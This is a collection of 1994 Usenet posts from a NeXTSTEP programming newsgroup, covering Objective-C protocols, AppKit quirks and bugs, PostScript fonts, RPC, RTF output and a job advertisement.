Newsgroups: comp.sys.next.programmer From: henry@trilithon.com (Henry McGilton) Subject: Re: postscript font help needed! Message-ID: <1994Feb19.011635.3806@trilithon.com> Sender: henry@trilithon.com Organization: Trilithon Software References: <1994Feb17.193815.26095@scott.skidmore.edu> Date: Sat, 19 Feb 1994 01:16:35 GMT In article <1994Feb17.193815.26095@scott.skidmore.edu> bmiller@dreams.skidmore.edu (Brooke Miller) writes: * I'm trying to learn how to make a postscript font. I'm * working from the Postscript Language Reference Manual (the * second edition). I copied the program example 5.7 (page * 282) into Yap, and it printed the letters without the * correct font. While I didn't see the problem as you describe on my system, one possibility is you're encountering a UniqueID problem with the fonts. Try changing the beginning of the program to read something like 9 dict begin /UniqueID 4 def That could be a possibility. Constructing fonts, including Level Two composite fonts, is covered in detail in our book ``PostScript by Example'', by Mary Campione and Henry McGilton, published by Addison Wesley, ISBN 0-201-63228-4. Code from the book (about thirteen thousand lines of PostScript) is available on floppy disk and can be ordered from Trilithon Software. E-mail to info@trilithon.com for details. * How do I start to create a font? Can it be * done through Yap, Yap is a great way to build and debug PostScript. In fact, developing the thousand or so examples in our book would have been pretty well nigh impossible without Yap. * or do I need to use ProjectBuilder? The two topics aren't related. ........ Henry
Newsgroups: comp.sys.next.programmer,comp.sys.next.bugs From: Jayson Adams Subject: Re: BUG with Panel: canBecomeKeyWindow Message-ID: <1994Feb19.024717.2966@millennium.com> Sender: jayson@millennium.com Organization: Millennium Software Labs, Inc. Posting-Application: Newsgrazer Pro References: <1994Feb18.165748.971@afs.com> Date: Sat, 19 Feb 1994 02:47:17 GMT In article <1994Feb18.165748.971@afs.com>, Gregory H. Anderson writes: > Here's the bug: If a later message from elsewhere in your program tells > the Panel to setBecomeKeyOnlyIfNeeded:YES, it starts ignoring the return > value from canBecomeKeyWindow and allows the window to become key anyway. > > Workaround: When you override canBecomeKeyWindow, also override > doesBecomeKeyOnlyIfNeeded (return NO) and setBecomeKeyOnlyIfNeeded: > (ignore the argument). Here's a cleaner workaround: don't send setBecomeKeyOnlyIfNeeded:YES to the panel. __jayson
Newsgroups: comp.sys.next.programmer,comp.sys.next.bugs From: dave@prim.demon.co.uk (Dave Griffiths) Subject: Re: BUG with Panel: canBecomeKeyWindow Message-ID: <1994Feb19.134436.484@prim.demon.co.uk> Organization: Primitive Software Ltd. References: <1994Feb18.165748.971@afs.com> <2k3fu9$3c5@steffi.demon.co.uk> Date: Sat, 19 Feb 1994 13:44:36 GMT In article <2k3fu9$3c5@steffi.demon.co.uk> robert@steffi.demon.co.uk (Robert Nicholson) writes: >Greg_Anderson@afs.com wrote in comp.sys.next.programmer,comp.sys.next.bugs >>To force a Panel to never become the key window (not even when you click >>its title bar), you must include this override in your Panel subclass: >> >>- (BOOL)canBecomeKeyWindow >>{ >>return NO; >>} >> > >Do that without subclassing Mr Griffiths :-) OK. Add this flag to Window: BOOL canBecomeKeyWindow; Modify the existing canBecomeKeyWindow method as follows: - (BOOL)canBecomeKeyWindow { return canBecomeKeyWindow; } and add this method: - setCanBecomeKeyWindow:(BOOL)canBecome { canBecomeKeyWindow = canBecome; return self; } As it stands, you're _forced_ to subclass just to configure it differently. Dave Griffiths PS: I agree with Greg that canBecomeKeyWindow should _always_ be obeyed.
From: michelle@meaddata.com (Michelle Buck) Newsgroups: comp.sys.next.programmer Subject: Let us be philosophical Date: 19 Feb 1994 16:28:09 GMT Organization: Mead Data Central, Dayton OH Sender: michelle@meaddata.com Message-ID: <2k5emp$n0v@meaddata.meaddata.com> Summary: Questions about NeXTstep Keywords: struct, Object, protocol, C++ Preface: This is not criticism of NeXTstep. NeXTstep is the best development environment available. I am just commenting from a philosophical point of view. I realize that Objective-C protocols and easy Objective-C++ did not exist in NeXTstep 1.0 ... NeXTstep achieves its remarkable software development (and end user) productivity through the use of Objective-C and consistent "kits" that are so powerful and easy to use that everybody uses them. Would it not be an even nicer environment if the "kits" went deeper into the system. For instance: The archive (informal) protocol adopted by Object and thus propagated to all descendants follows: - awake; - read:(NXTypedStream *)stream; - write:(NXTypedStream *)stream; The NXTypedStream type is a structure rather than an Objective-C class. The streams are used via accesser functions like NXWriteTypes(NXTypedStream *, const char *, ...). A more "pure" implementation would have been to make NXStream, NXTypedStream, etc objects. Then, among other things, users could subclass NXTypedStream to output ascii rather than binary. I have written some questions followed by possible answers and my rebuttals. I would like to stimulate discussion. I am just picking on archiving for the sake of argument. There are many other examples where functional C rears its ugly head in NeXTstep. Why did NeXT use structs rather than objects ? 1. For low level things like streams, straight C is faster ... rebuttal: I don't believe the difference is significant. 2. The early development teams were segregated into the port unix group and the develop new stuff group. The porters finisher early with their strait C work and so implemented NeXT specific "system" stuff such as streams. rebuttal: none (accident of history) 3. Since Objective-C is a hybrid anyway it doesn't really matter where you draw the line. After all, if basic types such as int were first class objects there would be no need for a NXTypedStream class at all. you could simply say [myInt write:myNotTypedStream]; or [myStream write:myInt]; rebuttal: OK, Objective-C is a hybrid compromise that has the major advantage of allowing straight C code to be easily integrated and maintained. Why not push the object paradigm as low as you can ? (at least When writing new code). 4. Since Objective-C requires all object interaction through references (pointers), Objective-C objects require more memory than simple structures. At very least, objects require sizeof(Object *) more memory per instance. rebuttal: This has actually been a concern of mine when implementing arrays of 800,000 objects. However, there are never 800 NXTypedStreams open on any one machine. The memory issue does not apply to most cases. Why are there so many informal protocols and so few formal ones ? 1. Protocol did not exist before 3.0 rebuttal: So what. An informal protocol can be turned into a formal one without breaking existing code. If the classes already implements - takeStringValueFrom:anObject then changing that to - takeStringValueFrom:(Object <NXValueProtocol> *)anObject should not break things any further than requiring developers who already implement - (const char *)stringValue; to formally adopt NXValueProtocol. 2. Good protocols are hard to define rebuttal: none Objective-C++ is nice but we are forced to use annoying extern "Objective-C" declarations. Why not recompile the Objective-C runtime as C++ ? Then only extern "C" declarations would be needed. 1. We really shouldn't use C++. NexT doesn't want to encourage it or require C++ capability on every platform that will use NeXT's Objective-C. rebuttal: I disagree. I have even implemented a C++ runtime for Objective-C. It is almost as simple as replacing struct with class in NeXT's header files. I prefer Objective-C for most things, but arrays of 800,000 C++ objects can require much less space. 2. People might feel that they have to learn C++ as well as Objective-C to use the system. rebuttal: No. Users would not need to see myObject->_msgSend(SEL, ...) any more than they see _msgSend(myObject, SEL, ...). If it is not appropriate to use Objective-C objects for NXStream, NXRect, etc, why not make them C++ objects ? 1. NeXT doesn't want to force anyone to learn C++ rebuttal: None I look forward to the discussion, Erik M. Buck
Newsgroups: comp.sys.next.programmer From: brendas@fnbc.com Subject: NEXTSTEP programmer, South Bend, Indiana Message-ID: <1994Feb18.191355.16854@fnbc.com> Keywords: NeXT job Sender: news@fnbc.com Organization: First National Bank Of Chicago, Chicago IL, USA Date: Fri, 18 Feb 94 19:13:55 GMT ******************************************************* Do not reply directly to this account!!! Replies WILL be deleted..... ******************************************************* MAS Technology Corporation has an immediate opening for a NEXTSTEP/OOP programmer seeking a challenging career opportunity in the area of object oriented client/server development The position consists of the design and development of a Laboratory Management System using a combination of NEXTSTEP and PC based interfaces. Additional responsibilities will include control and maintenance of Sybase data servers as well as user interaction and training. Position Requirements: * Working knowledge of NEXTSTEP, AppKit, Interface Builder & Objective-C * B.S. in Computer Science * Database application development (Sybase, Oracle, etc.) * GUI design and implementation * Ability to work in a dynamic team environment Competitive salary commensurate with experience. Training is available as appropriate. Excellent benefits. Resume and references required with application. Contact: Manuel Cordero (219) 233-3272; 110 S Hill Street, South Bend IN 46617 Or email: cordero@mas-tech.rn.com ******************************************************* Do not reply directly to this account!!! Replies WILL be deleted..... *******************************************************
From: rgc@cs.umd.edu (Ross Garrett Cutler) Newsgroups: comp.sys.next.software,comp.sys.next.programmer Subject: Any QBE databases available? Date: 19 Feb 1994 11:52:50 -0500 Organization: U of Maryland, Dept. of Computer Science, Coll. Pk., MD 20742 Distribution: world Message-ID: <2k5g52$d58@dorito.cs.umd.edu> Hi, I'm looking for a database that gives me QBE (query by example) that I can use in a custom data analysis program. Something like Borland's Paradox for Windows, but for NS. A QBE front end to SQL would suffice. Any suggestions? Thanks, Ross. -- Ross Cutler University of Maryland, College Park Internet: rgc@cs.umd.edu
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: Let us be philosophical Date: 19 Feb 1994 17:42:14 -0000 Organization: me organized? That's a joke! Message-ID: <2k5j1m$ue@steffi.demon.co.uk> References: <2k5emp$n0v@meaddata.meaddata.com> Keywords: struct, Object, protocol, C++ michelle@meaddata.com (Michelle Buck) wrote in comp.sys.next.programmer > > Preface: This is not criticism of NeXTstep. NeXTstep is the best > development environment available. I am just commenting from a > philosophical point of view. I realize that Objective-C protocols > and easy Objective-C++ did not exist in NeXTstep 1.0 ... > > NeXTstep achieves its remarkable software development (and end >user) productivity through the use of Objective-C and consistent >"kits" that are so powerful and easy to use that everybody uses them. >Would it not be an even nicer environment if the "kits" went deeper >into the system. > >For instance: > >The archive (informal) protocol adopted by Object and thus propagated to >all descendants follows: >- awake; >- read:(NXTypedStream *)stream; >- write:(NXTypedStream *)stream; > >The NXTypedStream type is a structure rather than an Objective-C class. >The streams are used via accesser functions like >NXWriteTypes(NXTypedStream *, const char *, ...). A more "pure" >implementation would have been to make NXStream, NXTypedStream, etc >objects. Then, among other things, users could subclass NXTypedStream >to output ascii rather than binary. Well you could still do that using your read and write methods. They don't _have_ to use the NXTypeStream that they are passed. But point taken. If it were that way then only 1 change would be necessary instead of n classes changes. This is a common complaint, typically from those people obsessed with Smalltalk. and in fact NeXT, I believe are planning to eradicate char *'s from the Appkit (I'll believe it when I see it and I'm in not rush to see it) but I'm not sure about other *'s structs or otherwise. Personally, I can live with this hybrid. A lot of people have written they own wrappers around NXStream and NXTypedStream), any body got anything to show us? > > I have written some questions followed by possible answers and my >rebuttals. I would like to stimulate discussion. > >I am just picking on archiving for the sake of argument. There are >many other examples where functional C rears its ugly head in NeXTstep. What is wrong with functional C? "All the worlds not an object" > >Why did NeXT use structs rather than objects ? > 1. For low level things like streams, straight C is faster ... > rebuttal: I don't believe the difference is significant. I think it is. There are a lot of NXRect's in the appkit. > > 2. The early development teams were segregated into the port unix >group and the develop new stuff group. The porters finisher early >with their strait C work and so implemented NeXT specific "system" >stuff such as streams. > rebuttal: none (accident of history) > > 3. Since Objective-C is a hybrid anyway it doesn't really matter >where you draw the line. After all, if basic types such as int were >first class objects there would be no need for a NXTypedStream class >at all. you could simply say [myInt write:myNotTypedStream]; or >[myStream write:myInt]; > rebuttal: OK, Objective-C is a hybrid compromise that has the major >advantage of allowing straight C code to be easily integrated and >maintained. Why not push the object paradigm as low as you can ? >(at least When writing new code). As I said earlier, some people using their own wrappers to basic types when possible. > > 4. Since Objective-C requires all object interaction through >references (pointers), Objective-C objects require more memory than >simple structures. At very least, objects require sizeof(Object *) more >memory per instance. > rebuttal: This has actually been a concern of mine when >implementing arrays of 800,000 objects. However, there are never 800 >NXTypedStreams open on any one machine. The memory issue does not >apply to most cases. > >Why are there so many informal protocols and so few formal ones ? > 1. Protocol did not exist before 3.0 > rebuttal: So what. An informal protocol can be turned into a >formal one without breaking existing code. If the classes already >implements - takeStringValueFrom:anObject then changing that >to - takeStringValueFrom:(Object <NXValueProtocol> *)anObject should >not break things any further than requiring developers who already >implement - (const char *)stringValue; to formally adopt >NXValueProtocol. Categories are needed, long live categories. (Dave's going to love you for that) > > 2. Good protocols are hard to define > rebuttal: none > >Objective-C++ is nice but we are forced to use annoying extern >"Objective-C" declarations. Why not recompile the Objective-C >runtime as C++ ? Then only extern "C" declarations would be needed. > > 1. We really shouldn't use C++. NexT doesn't want to encourage >it or require C++ capability on every platform that will use NeXT's >Objective-C. > rebuttal: I disagree. I have even implemented a C++ runtime for >Objective-C. It is almost as simple as replacing struct with class >in NeXT's header files. I prefer Objective-C for most things, but >arrays of 800,000 C++ objects can require much less space. > > 2. People might feel that they have to learn C++ as well as >Objective-C to use the system. > rebuttal: No. Users would not need to see >myObject->_msgSend(SEL, ...) any more than they see >_msgSend(myObject, SEL, ...). > > >If it is not appropriate to use Objective-C objects for NXStream, >NXRect, etc, why not make them C++ objects ? I think you've already answered that. > > 1. NeXT doesn't want to force anyone to learn C++ > rebuttal: None Long live NeXT. The less C++ dependencies in NextStep the better. Do not polute our wonderful NeXTSTEP kit's with C++ please. -- "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) "No, what?" "Nothing" (Charade, 1963) (ASCII for text only messages)
Newsgroups: comp.sys.next.programmer From: alex@cs.umd.edu (Alex Blakemore) Subject: Re: Subclass conforming to protocol (a solution) Message-ID: <CLH8t0.5Lp@genoa.com> Sender: alex@genoa.com (Alex Blakemore) Organization: Genoa Software Systems References: <1994Feb18.224847.1127@afs.com> Date: Sat, 19 Feb 1994 15:10:11 GMT Michael Pizolato writes > I wrote a method once where the object being passed as a parameter >was expected to conform to a protocol. In addition to the >compile-time check: > - foo:(id <bar>)mumble >I put a run-time check in the code: > if ([mumble conformsTo:@protocol(bar)]) >and the compiler warned that "method 'conformsTo' not implemented >by protocol 'bar'" or something like that. In other words, not >only was the mumble object expected to implement all the methods >in bar, but it was also expected to implement _only_ the methods ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ >in bar, even to the exclusion of methods in the Object class! wrong emphasis Michael, mumble can implement all the methods you wish, but the only thing the foo method knows about it is that it implements the <bar> methods. The compiler warns you if make any other assumptions. This is good, it allows you to keep interfaces well defined and restricted, which leads to easier reuse, adaptation, maintenance and more reliable software. it is after all possible to define a different root class than Object. anyway, here's a solution, if you explicitly state that mumble is a kind of Object then you can send methods defined in the Object class. Also all of your clients will know that the object they pass to foo: has additional responsibilities beyond the <bar> protocol. - foo:(Object <bar> *)mumble ----------- example ---------------- #import <objc/Object.h> #import <stdio.h> @protocol bar - doSomething; @end @interface crud : Object { } - foo:(Object <bar> *)mumble; @end @implementation crud - foo:(Object <bar> *)mumble { if ([mumble conformsTo:@protocol(bar)]) printf("it _better_ conform unless the caller ignored a compiler warning\n"); else [mumble doSomething]; return self; } @end -- Alex Blakemore alex@cs.umd.edu NeXT mail accepted
Newsgroups: comp.sys.next.programmer From: alex@cs.umd.edu (Alex Blakemore) Subject: Re: Loop-back service for Webster? Message-ID: <CLHAq5.5nr@genoa.com> Sender: alex@genoa.com (Alex Blakemore) Organization: Genoa Software Systems References: <2k3l8c$pe@agate.berkeley.edu> Date: Sat, 19 Feb 1994 15:51:41 GMT Izumi Ohzawa writes > In all apps, you can highlight a word and look up the definition > by Command-=, EXCEPT in Webster app itself. > Copy/pasting a word is painful to do in Webster > Can this be done via TickleServices? even easier, select the word and then click the Define button. -- Alex Blakemore alex@cs.umd.edu NeXT mail accepted
From: nika!ken@uunet.UU.NET (Ken Pelletier) Newsgroups: comp.sys.next.programmer Subject: Re: RPC Date: 19 Feb 1994 16:57:26 -0600 Organization: UTexas Mail-to-News Gateway Sender: daemon@cs.utexas.edu Message-ID: <9402192255.AA09498@nika> > I am developing an application, which will use RPC > on a AIXR6000 from my NeXT. I have no idea, how I can do this. > I've done some of this b/w my NeXT and RS/6000. The main thing to know is that both (and most any UNIX) have Sun ONC/RPC, and you can therefore create compatible RPC clients and servers. You create the RPC interface definition, compile it with your favorite protocol compiler (rpcgen works fine, but there are some commercial ONC/RPC compilers out there that remove some of the grunt work), giving you source code for client and server stubs. Compile them on the appropriate machine(s), link them into your programs where you need them, and you're off. You make various RPC runtime calls to establish and manage connections, and call the procedures you defined in your interface def as you would any other C functions. You can, of course, get at all of this from Obj-C and mix it in with Appkit and custom classes. You could also create object interfaces to the RPC runtime, as well as your RPC procedures. I recommend a book called "Power Programming with RPC", written by John Bloomer and published by O'Reilly and associates for a pretty good, no-nonsense cookbook. > I don't think, that I can use the Speaker/Listener > classes to handle this problem. Is there anybody who has > an example code, how I can solve this problem? Quite right. If you have any questions getting started, feel free to email me directly. Hope this helps. Have fun! - Ken (ken@nika.com) Ken Pelletier NiKA Software, Inc. Chicago, IL
From: finton@homer.cs.wisc.edu (David Finton) Newsgroups: comp.sys.next.programmer Subject: Miscellaneous problems with Interface Builder Date: 20 Feb 1994 00:22:34 GMT Organization: University of Wisconsin, Madison -- Computer Sciences Dept. Message-ID: <2k6aga$ppp@spool.cs.wisc.edu> Summary: plea for help! I'm looking for suggestions. I'm working on an application in NS 2.1, but we want to upgrade to NS 3.x soon. Unfortunately, my use of Garfinkel and Mahoney's RTF object works in 2.1, but not in 3.0, and I can't figure out why. And while looking at this (booting from a 3.0 optical disk), I've come up with a couple other puzzlers. My undying gratitude to anyone who can help me with the following: 1. G&M's RTF object has a method called "bold" which can be used to make the font bold for some inserted text, and then switched back to normal. I wrote a similar method called "light" which makes the gray scale lighter or restores it. The important line is: [self appendRTF: flag ? "\\gray500 " : "\\gray0 "]; The weird thing is that this works *fine* in NS2.1, but not in 3.0; in 3.0 I can make the text lighter with [rtf light:YES], but I can't restore it with [rtf light:NO] as I could before. Help? (The actual output code looks like this: [rtf courier]; [rtf light:YES]; [rtf append:buf]; [rtf light:NO]; [textObj replaceSelWithRichText:[rtf stream]]; [rtf free]; ) 2. On a NeXT with NS 3.0 I ran (after converting the old style project files) the app in Project Builder. I changed the "\\gray0 " above to "}". This gives the same result: once the text goes light, it never returns. So I changed the "}" to "} ", and now the text *does* return to dark, but I get extra spaces in the output! Better, but still not acceptable. 3. After building in Project Builder, and seeing my change produce a different output, I try opening the debug file. And I get the OLD output results. Huh? In NS 2.1, doing a "make" in Interface Builder gave me a new "App.debug" file, which I could then double-click to run. Is this not the case in NS 3.x? Is there a preference I need to set? I don't have regular access to a 3.0 system (or documentation) so I don't know. 4. On the NS 2.1 system, I have a copy of my app under /LocalApps. I tried making a change in my RTF object, but when I opened the app in Interface Builder and tried to "make", I got the following: bubba# cd "/LocalApps/CirclesApp/CirclesIB" bubba# make debug Make: Cannot open /NextDeveloper/Makefiles/app/app.make. Stop. Then I tried "ls /NextDeveloper/Makefiles" and got the message: /NextDeveloper/Makefiles not found Is this because I'm doing something goofy, or is there a problem with our system? IB seems to "make" just fine on other apps if I'm logged into my own account. Thanks in advance, David Finton
Newsgroups: comp.sys.next.programmer From: sascha@anarch.do.open.de (Sascha Gresk) Subject: Julian Class - need a better Version - where ? Message-ID: <1994Feb19.231329.25520@anarch.ping.de> Keywords: Julian, Bennett Sender: usenet@anarch.ping.de Organization: LogikFabrik/WiLa Dortmund Date: Sat, 19 Feb 1994 23:13:29 GMT WRITTEN BY Charles G. Bennett Version 1.0, , This class is in the Public Domain. My Archie just does want to find it....Where ever did I get it from ?!? I really love to use this Class. But now I find it difficult to use because its precision isn't that good really...I am talking about those funny results you get if you convert a date into a Julian and back again. Ok - they still are pretty close - but in fact they differ about one second (sometimes !!! - but when ?). That also is the reason why validDay doesn't work for me either .... The class is written in objective-c and has got a demo-app for NeXT with it. ThanX ! [ For NSA grep: bomb, spy, attack, pgp, anarchism, terror, cuba ]
Newsgroups: comp.sys.next.programmer From: kiwi@belly.in-berlin.de (Axel Habermann) Subject: Re: Subclass conforming to protocol Message-ID: <CLHK6F.HA@belly.in-berlin.de> Sender: usenet@belly.in-berlin.de Organization: - none - References: <1994Feb18.224847.1127@afs.com> Date: Sat, 19 Feb 1994 19:15:51 GMT In article <1994Feb18.224847.1127@afs.com> Michael_Pizolato@afs.com (Michael Pizolato) writes: > Please say that this is not true, or that I am misunderstanding it. > Surely protocols do not say "if you adopt me, you must implement > these _and_only_these_ methods." What if a class adopts more than > one protocol (perfectly legit)? I think it's a misunderstanding here. If you use protocols, you want the compiler to do type checking based on the availability of methods for you. If you declare a variable like in the example >> - foo:(id <bar>)mumble you want the compiler check for two things: - every object you put into mumble implements the methods of <bar> - every message you send to muble will be understood, what means they must be declared in the protocol <bar> If you put a run-time check in the code: >> if ([mumble conformsTo:@protocol(bar)]) you have to include conformsTo: in the <bar> protocol or you have to add a new protocol (e.g. named <conform>) including the conformsTo: method. - foo:(id <bar, conform>)mumble Isn't that want you want? I would be quite annoyed if the compiler would NOT warn me about using methods not included in the protocol of the receiving object. Btw: If I declare an instance variable to conform to a protocol, the InterfaceBuilder no longer recognizes this as an outlet. This is NOT what I was expecting. Is this a bug? Is there a workaround available? -- Axel Habermann \\|// "Wenn Du nicht kiwi@belly.in-berlin.de (NeXT-Mail) )o o( weisst was Du kiwi@cs.tu-berlin.de (NO NeXT-Mail) \ | / tust, mach's FaxFon: +49 30 4543046 \~/ mit Eleganz!"
Newsgroups: comp.sys.next.programmer From: bbayraml@vaxc.stevens-tech.edu Subject: -- Introduction to Objective-c programming Message-ID: <1994Feb19.221509.1@vaxc.stevens-tech.edu> Sender: news@dmi.stevens-tech.edu (USENET News System) Organization: Stevens Institute Of Technology Date: Sun, 20 Feb 1994 03:15:09 GMT How can I learn about Objective-C programming? Is there any ftp sites that have some quick introduction about that? I have plenty of C++ books already, I don't really want to pay for another book, however if I like the language, I might switch to Objective-C. Thanks in advance, --------------------------------------------------------------------- Burak Bayramli E-mail: vaxc.stevens-tech.edu "The opinions presented here are my company's opinions, not my own." Butthead: Hey Beavis, if I could move my arm that fast, I'd never leave the house. ---------------------------------------------------------------------
Newsgroups: comp.sys.next.programmer Subject: NXBundle problem Message-ID: <1994Feb18.183247.165383@embl-heidelberg.de> From: tuparev@EMBL-Heidelberg.DE (Georg Tuparev) Date: 18 Feb 94 18:32:46 +0100 Hallo NXBundle gurus! NXBundle manual page says: > initForDirectory: > - initForDirectory:(const char *)fullPath > > Initializes a newly allocated NXBundle object to make it the NXBundle for > the fullPath directory. fullPath must be a full pathname for a directory. > > If the directory doesn't exist or the user doesn't have access to it, the > NXBundle is freed and this method returns nil. If the application already ^^^ > has an NXBundle object for the fullPath directory, this method frees the > receiver and returns the existing object. But after trying myBundle = [[NXBundle alloc] initForDirectory:"/Blah/Blah"]; myBundle is still not nil and [myBundle directory] returns "/Blah/Blah"! Am I crazy or it's a known bug? I'm using NS 3.0/3.1 (black hardware) Thanks Georg Tuparev EMBL / Protein Design Phone: +49 - 6221 - 387534 Meyerhofstr. 1 FAX: +49 - 6221 - 387517 D-69117 Heidelberg Germany Tuparev@EMBL-Heidelberg.de (NeXT-mail)
Newsgroups: comp.sys.next.programmer From: bbum@friday.com Subject: Re: [IDEA] Making Backspace a preferences module Message-ID: <CLHxnp.1o7@friday.com> Sender: bbum@friday.com (Bill Bumgarner) Organization: Friday Software & Consulting; a virtual company References: <2k35d0$c91@cisun2000.unil.ch> Date: Sun, 20 Feb 1994 00:07:00 GMT Actually, it would be more appropriate to make BackSpace into a Daemon that is launched when you log in (One can use Workspace's LaunchPaths preference to have something launched when you log in-- it might be kind of an adventure to try and write it such that it can connect to the postscript server/window manager w/o having an Application instance and an Icon; though the Icon is useful for activating the ScreenSaver at will). The preferences module would be independent of the thing that is run when you log in (though the daemon could easily be part of the Preferences module's wrapper). b.bum Sean L. Hill writes > A while ago I thought about making Backspace into a preferences module. > One of the main problems (I think) is that each preferences module is > loaded when you bring the Preferences app up and select a particular > module. Is seems that it would be tricky to have a screen saver work > from there. > [I never tried it out, but I believe that it's true.] > > What it seems like the Preferences app is for is setting individual > preferences, obviously. So maybe one would write a preferences panel > that lets you choose from various Backspace modules and alter the > parameters then writes the selection into a dwrite or settings file. > > The Backspace app would have to be turned into a faceless daemon > (Scary)... The preferences module would make a Workspace dwrite to > launch it on login if the screensaver is turned on. Then the > preferences module would have made the selection for the parameters and > written the defaults database for the daemon to read. > > So to clean up: > > 1. Cut out the parameters and module selection from Backspace. Make a > preferences panel which writes the current selection to the defaults > database. Nearly the exact same settins panel can be used for the > preferences panel. This code would go in Library/Preferences > > 2. Make a daemon out of the Backspace app. This would still be > installed in the Apps directory, but would be launched by a dwrite for > Workspace. It determines what it should display by the dwrites written > by the prefernces module. For changing the settings without logging > in/out the preferences module could send a distributed object message > to the daemon to lookup it's settings for an update. > > Make sense? I think it's not such a bad idea for preferences to be > written this way, since you could start having these massive > preferences modules loaded up and choking everything especially if > they're unused. This way you simply state your preferences! > > I don't think it would be too difficult at all to convert Backspace and > I think many people would applaud that person. > > Cheers- > Sean > > > Sean L. Hill > Institut de Physiologie / Universite de Lausanne > Rue du Bugnon, 7 > CH-1005 Lausanne SWITZERLAND > E-mail: Sean.Hill@iphysiol.unil.ch NEXTMAIL: hill@iisnext1.unil.ch -- b.bum <bbum@friday.com> | "blah blah blah" WhiteLight Systems, INC. | - someone somewhere
From: d89cb@efd.lth.se (Christian Brunschen) Newsgroups: comp.sys.next.programmer Subject: Re: Troubles with initializing Cell instance Date: 20 Feb 1994 16:05:08 GMT Organization: Lund Institute of Technology, Sweden Distribution: world Message-ID: <2k81nk$93v@nic.lth.se> References: <2k2fe4$17c@theborg.stack.urc.tue.nl> In article <2k2fe4$17c@theborg.stack.urc.tue.nl> rcbaab@urc.tue.nl writes: > [ .. deleted ... ] >- initIconCell:(const char *)iconName >{ > if (self = [super initIconCell:iconName]) // What's going wrong here? ^^^^^^^ Are you sure that assigning to self is a good idea? ie, wouldn't it be better to store the result uf "[super initIconCell:]" in a temporary variable? That's the only thing I can think of right now ... [ .. deleted again ... ] > >Thanks! >Annard >-- >Give me enough bandwidth and I can transmit the earth. > - Annard Brouwer > annard@stack.urc.tue.nl (NeXTmail appreciated) -- | Christian Brunschen, Husmansv. 26, S-227 38 Lund, Sweden | | voice/fax/data +46 (0)46 139345, email d89cb@efd.lth.se | | PGP 2.2 Public Key available on request. | ObCelebrityQuote: | | "Oh, foo." | | - Andrew R. Koenig (ark@research.att.com) after dropping a piece | | of chalk during a lecture on C++ in Lund, Sweden, April 1993 |
Newsgroups: comp.sys.next.programmer From: brianw@sounds.wa.com (Brian Willoughby) Subject: Re: Loop-back service for Webster? Message-ID: <CLIoux.1L2@sounds.wa.com> Organization: Sound Consulting, Bellevue, WA, USA References: <2k3l8c$pe@agate.berkeley.edu> <CLHAq5.5nr@genoa.com> Date: Sun, 20 Feb 1994 09:54:33 GMT In article <CLHAq5.5nr@genoa.com> alex@genoa.com writes: >Izumi Ohzawa writes >> In all apps, you can highlight a word and look up the definition >> by Command-=, EXCEPT in Webster app itself. >> Copy/pasting a word is painful to do in Webster >> Can this be done via TickleServices? > >even easier, select the word and then click the Define button. >-- >Alex Blakemore >alex@cs.umd.edu NeXT mail accepted Even easier, still: hold down the Command key while selecting (or double-clicking) the word. This takes less work than from other apps. -- Brian Willoughby Software Design Engineer, BSEE from NCSU NeXTmail welcome Sound Consulting: Software Design and Development BrianW@SoundS.WA.com Bellevue, WA
From: wjabi@libra.arch.umich.edu (Wassim M. Jabi) Newsgroups: comp.sys.next.programmer Subject: mouseMoved... NOT!! Date: 20 Feb 1994 19:43:56 GMT Organization: University of Michigan Engineering, Ann Arbor Distribution: usa Message-ID: <2k8ehsINNprq@srvr1.engin.umich.edu> I have unexplained behavior in my subclass of View: I need to continously update a cross-hair so I do the following: - mouseEntered:(NXEvent *)theEvent { [info_field setStringValue:"Mouse Entered"]; originalMask = [myWindow addToEventMask:NX_MOUSEMOVEDMASK]; return self; } - mouseExited:(NXEvent *)theEvent { [info_field setStringValue:"Mouse Exited"]; [myWindow setEventMask:originalMask]; return self; } - mouseMoved:(NXEvent *)theEvent { NXPoint myPoint; [info_field setStringValue:"Mouse Moved"]; myPoint = theEvent->location; [self convertPoint:&myPoint fromView :nil]; [self drawCrossHairs:self At:myPoint.x And:myPoint.y]; return self; } Now, this is greatly simplified,but basically I catch the events and know exactly when the mouse enters and exits my View. However, I stop getting mouseMoved events if I click in one of the adjacent text fields (to enter a value or something) Even though I do get a mouseEntered event when I move the mouse back into the View which re-adds the NX_MOUSEMOVED event, but I do not see my cross hairs following my mouse as I used to. Does anyone know why? Thanks for your time and help. Please reply by e-mail. -- Wassim M. Jabi (313) 936-0229 Doctoral Program in Architecture, University of Michigan 2000 Bonisteel Boulevard Ann Arbor Michigan 48105-2069 wjabi@libra.arch.umich.edu NeXTMail-friendly
Newsgroups: comp.sys.next.programmer From: gideon@otago.ac.nz (Gideon King) Subject: Re: IXKit in 3.2 - how is it? Message-ID: <CLJGu4.6ry@news.otago.ac.nz> Sender: usenet@news.otago.ac.nz (News stuff) Organization: University of Otago Date: Sun, 20 Feb 1994 19:58:52 GMT I had a tiny app which demonstrated the huge memory leaks under 3.0 and 3.1. I sent this to NeXT, and they said thanks, but we've got to give DBKit higher priority at the moment. I was therefore pleasantly surprised to find that when I compiled and ran this application under 3.2, it had been fixed - no memory leaks at all! We had originally intended to use IXKit for the application we are currently working on, but it was too buggy. Things seem to have changed, and we are considering switching back to it in the next version of our software. I would be interested in hearing anyone else's experiences with it under 3.2. p.s. I tried posting to the IXKit mailing list last week, and got so many error messages it was ridiculous! If the list manager reads this, could you please sort it out? Thanks -- The Black Albatross Gideon King | Phone +64-3-479 8347 University of Otago | Fax +64-3-479 8529 Department of Computer Science | e-mail gideon@Black_Albatross.otago.ac.nz Dunedin New Zealand
Newsgroups: comp.sys.next.programmer Subject: Is there a limit to how much... Message-ID: <94051.103914JTRQC@CUNYVM.CUNY.EDU> From: <JTRQC@CUNYVM.CUNY.EDU> Date: Sun, 20 Feb 1994 10:39:14 EST Organization: City University of New York/ University Computer Center IS there a limit to the number of records or objects that can be stored in an IXRecordManager????? James T. Romano E.M.C.
